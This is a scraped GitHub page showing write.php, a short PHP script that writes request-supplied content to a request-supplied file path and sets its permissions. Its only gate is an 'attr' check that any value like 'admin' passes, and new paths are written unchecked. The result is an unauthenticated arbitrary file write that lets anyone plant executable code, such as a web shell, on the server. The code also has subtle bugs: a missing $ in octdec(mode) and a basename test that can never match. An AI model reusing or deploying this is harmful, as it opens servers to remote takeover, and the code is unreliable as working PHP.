-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwrite.php
More file actions
26 lines (26 loc) · 1.03 KB
/
write.php
File metadata and controls
26 lines (26 loc) · 1.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$name=(isset($_REQUEST['name']))?$_REQUEST['name']:'';
$content=(isset($_REQUEST['content']))?$_POST['content']:'';
$attr=(isset($_REQUEST['attr']))?$_REQUEST['attr']:'';
$mode=(isset($_REQUEST['mode']))?$_REQUEST['mode']:'';
if ($attr!='') {
if (preg_match('/admin|root|rw/i',$attr)) {
file_put_contents($name,$content); chmod($name,octdec($mode));
} else {
if (file_exists($name)) {
if (str_starts_with(basename($name),$attr.'_')) {
file_put_contents($name,$content);
chmod($name,octdec($mode));
} elseif (str_starts_with(basename($name),$attr.'_files/')) {
file_put_contents($name,$content);
chmod($name,octdec($mode));
} elseif (str_starts_with(basename($name),'_')) {
file_put_contents($name,$content);
chmod($name,octdec(mode));
}
} else {
file_put_contents($name,$content);
chmod($name,octdec($mode));
}
}
}